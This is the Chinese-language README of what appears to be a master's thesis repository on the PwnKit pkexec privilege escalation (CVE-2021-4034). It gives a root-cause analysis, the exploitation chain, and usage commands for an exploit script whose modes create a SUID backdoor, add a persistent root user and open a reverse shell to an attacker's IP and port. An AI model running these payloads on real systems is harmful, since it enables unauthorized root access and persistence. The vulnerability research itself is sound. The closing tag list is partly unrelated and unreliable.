devianntsec/CVE-2021-4034-PwnKit-Masters-Thesis
GitHub: devianntsec/CVE-2021-4034-PwnKit-Masters-Thesis
针对 PwnKit 本地权限提升漏洞的完整研究项目,集成多种 payload 模式和详细学术文档。
Stars: 0 | Forks: 0
# CVE-2021-4034 — PwnKit 本地权限提升 · 硕士论文研究
[](https://nvd.nist.gov/vuln/detail/CVE-2021-4034)
[](https://github.com/devianntsec)
[](LICENSE)
[](https://github.com/devianntsec)
[-orange)](https://nvd.nist.gov/vuln/detail/CVE-2021-4034)
## 描述
本代码库包含我关于 **CVE-2021-4034** 的**硕士论文研究**,这是 polkit 的 `pkexec` 实用程序中的一个高危(CVSS 7.8)**本地权限提升**漏洞,通常被称为 **PwnKit**。
该漏洞源于 `pkexec` 参数处理逻辑中的**越界写入**。当 `pkexec` 使用空的或精心构造的 `argv` 执行时,它会越界读写 `argv` 数组进入 `envp` 数组,从而允许非特权本地用户注入恶意环境变量,这些变量随后作为共享库加载,以 root 权限执行任意代码。
### 我的贡献
| 方面 | 描述 |
|--------|-------------|
| **多 payload 利用** | Python 封装器,包含 6 种 payload 模式,包括 shell、id、后门和反向 shell |
| **自动化环境设置** | 自动构建 GCONV_PATH 并配置 gconv-modules |
| **后渗透模块** | SUID 后门、root 用户创建和自定义命令执行 |
| **学术文档** | 根本原因分析、利用链和漏洞时间线 |
## 代码库结构
```
CVE-2021-4034-PwnKit-Masters-Thesis/
├── README.md # This file
├── LICENSE # MIT License
│
├── exploit/
│ └── pwnkit.py # Advanced exploit with multiple payloads
│
└── docs/
├── screenshots/ # Exploitation demonstrations
│ ├── 01-pwnkit-shell.png
│ ├── 02-pwnkit-id.png
│ ├── 03-pwnkit-whoami.png
│ ├── 04-pwnkit-backdoor.png
│ ├── 05-pwnkit-add-user.png
│ ├── 06-pwnkit-reverse.png
│ └── 07-pwnkit-custom.png
│
└── analysis/
├── 01-root-cause.md # Vulnerability root cause analysis
├── 02-exploitation-chain.md # Exploitation chain breakdown
└── 03-timeline.md # CVE timeline
```
## 快速开始
### 前置条件
- 具有易受攻击 polkit 的 Linux 系统(`pkexec --version` 显示 0.105 或更早版本)
- GCC 编译器(`apt install gcc`)
- Python 3.6+
- 标准用户账户(无需 root)
- 建议在隔离的 VM 中进行测试
### 用法
```
# 交互式 root shell(默认)
python3 exploit/pwnkit.py -p shell
# 验证执行上下文
python3 exploit/pwnkit.py -p whoami
# 以 root 执行自定义命令
python3 exploit/pwnkit.py -p custom -c "id"
# 在 /tmp/.sh 创建 SUID 后门
python3 exploit/pwnkit.py -p backdoor_suid
# 添加持久化 root 用户
python3 exploit/pwnkit.py -p add_root_user --username backdoor --password mypassword
# Reverse shell
python3 exploit/pwnkit.py -p reverse_shell --lhost 192.168.1.10 --lport 4444
```
### Payload 参考
| Payload | 描述 | 输出 |
|---------|-------------|--------|
| `shell` | 以 root 身份生成交互式 `/bin/sh` | 交互式 shell |
| `id` | 将 `id` 和 `whoami` 输出写入 `/tmp/pwnkit_id.txt` | 文件 |
| `whoami` | 将 UID/eUID 验证写入 `/tmp/pwnkit_root_test` | 文件 |
| `backdoor_suid` | 在 `/tmp/.sh` 创建 SUID root bash 副本 | 持久化后门 |
| `add_root_user` | 将自定义用户追加到 `/etc/passwd` | 持久化访问 |
| `reverse_shell` | 通过 Python 回连到攻击者 | 远程 shell |
| `custom` | 以 root 身份执行任意命令 | 标准输出 / 文件 |
## 技术概述
### 漏洞根本原因
`pkexec` 处理自己的 `argv` 以定位正在运行的程序。当以 `argc == 0`(空参数向量)调用时,对 `argv` 的边界检查会静默失败。随后的越界读取将 `envp[0]` 视为 `argv[1]`,而越界写回 `envp` 允许攻击者用精心构造的路径替换环境变量。当 `pkexec` 稍后调用 `g_printerr()` 时,它会从现在受攻击者控制的环境中加载 `GCONV_PATH`,从而以 root 权限加载攻击者提供的共享库。
```
argc == 0 → argv[1] reads envp[0]
argv[1] = "GCONV_PATH=." (writes back into envp)
pkexec loads ./pwnkit.so (attacker-controlled shared library)
gconv_init() executes as root
```
### 利用链
```
1. Craft argv = { NULL } → argc = 0, triggers OOB access
2. Set envp[0] = "pwnkit.so:."
3. Set envp[1] = "PATH=GCONV_PATH=."
4. pkexec OOB-writes "pwnkit.so:." into envp[0] as if it were argv[1]
5. pkexec resolves GCONV_PATH=. and loads gconv-modules
6. gconv-modules maps "PWNKIT" charset to pwnkit.so
7. pwnkit.so:gconv_init() called with root privileges
8. Payload executes (shell / backdoor / reverse shell / etc.)
```
### 关键技术细节
| 组件 | 值 | 说明 |
|-----------|-------|-------|
| 易受攻击的二进制文件 | `/usr/bin/pkexec` | SUID root |
| 触发条件 | `argc == 0` | 空 argv |
| 写入原语 | OOB 写入 `envp` | 通过 `argv[argc-1]` |
| 加载机制 | `GCONV_PATH` + `gconv-modules` | 标准 glibc iconv |
| 执行上下文 | 共享库中的 `gconv_init()` | 以 EUID 0 运行 |
| 受影响版本 | polkit ≤ 0.105-31 | 所有主要 Linux 发行版 |
## 演示
### 交互式 Root Shell

### ID 验证

### Whoami 验证

### SUID 后门

### 添加 Root 用户

### 反向 Shell

### 自定义命令

## 实证测试
所有测试均在运行 Ubuntu 20.04 LTS 且安装了 polkit 0.105-26(易受攻击)的隔离 VirtualBox VM 上进行,无网络暴露。
| Payload | 结果 | 说明 |
|---------|--------|-------|
| `shell` | ✅ 获取 Root shell | 即时交互式访问 |
| `id` | ✅ 确认 `uid=0(root)` | 输出在 `/tmp/pwnkit_id.txt` |
| `whoami` | ✅ 确认 `root` | UID/eUID = 0 |
| `backdoor_suid` | ✅ `/tmp/.sh` 上设置了 SUID 位 | 利用后持久化 |
| `add_root_user` | ✅ 已创建自定义用户 | 重启后仍存在 |
| `reverse_shell` | ✅ 已建立连接 | Python 反向 shell 正常工作 |
| `custom` | ✅ 任意命令执行 | 完整 root 上下文 |
## 技术文档
| 文档 | 描述 |
|----------|-------------|
| [根本原因分析](docs/analysis/01-root-cause.md) | pkexec 参数处理中的越界写入 |
| [利用链](docs/analysis/02-exploitation-chain.md) | GCONV_PATH 注入的分步解析 |
| [CVE 时间线](docs/analysis/03-timeline.md) | 发现、披露和补丁时间顺序 |
## 学术背景
本研究是我在 **UCAM — Campus Internacional de Ciberseguridad** 攻读**网络安全硕士学位**的**硕士论文**的一部分,旨在分析跨多种环境的 N-Day 漏洞。
此 CVE 代表了论文中的 **Linux 本地权限提升** 向量,展示了:
- SUID 二进制文件中的内存安全漏洞
- 通过环境变量操纵进行的越界写入利用
- 通过 glibc 的 iconv 基础设施进行的共享库注入
- 多 payload 后渗透框架设计
**关键词:** `LPE` · `Polkit` · `pkexec` · `SUID` · `GCONV_PATH` · `CVE-2021-4034` · `PwnKit`
## 作者
**Annais Molina (devianntsec)** — 网络安全硕士研究生
[](https://github.com/devianntsec)
[](https://linkedin.com/in/annais-molina-fuentes)
[](mailto:me@deviannt.com)
## 致谢
- [**Qualys 研究团队**](https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt) — 原始发现及负责任披露
- [**arthepsy**](https://github.com/arthepsy/CVE-2021-4034) — 早期概念验证参考
- [**berdav**](https://github.com/berdav/CVE-2021-4034) — 公开 PoC 参考实现
## 许可证
MIT 许可证 — 详见 [LICENSE](LICENSE)
## 法律免责声明
本代码库**仅用于教育和安全研究目的**,属于学术硕士论文的一部分。所有测试均在无网络暴露的隔离虚拟机上进行。请仅在你拥有或已获得明确书面授权测试的系统上使用。未经授权对系统使用是非法的,并可能导致刑事起诉。
通过 CVE-2021-4034 - PwnKit 获取的交互式 root shell
© 2026 Annais Molina · 网络安全硕士论文
UCAM Universidad Católica San Antonio de Murcia · Campus Internacional de Ciberseguridad
UCAM Universidad Católica San Antonio de Murcia · Campus Internacional de Ciberseguridad
标签:CSV导出, CVE-2021-4034, CVSS 7.8, DNS 反向解析, Exploit-Dev, GCONV_PATH, pkexec, Polkit, PwnKit, Python, Web报告查看器, 二进制分析, 云安全运维, 云资产清单, 内存破坏, 反向Shell, 后门, 嗅探欺骗, 子域名枚举, 学术研究, 数据展示, 无后门, 本地提权, 权限维持, 漏洞复现, 硕士论文, 系统安全, 红队, 网络安全, 自动化学 environment, 越界读写, 逆向工具, 逆向工程, 隐私保护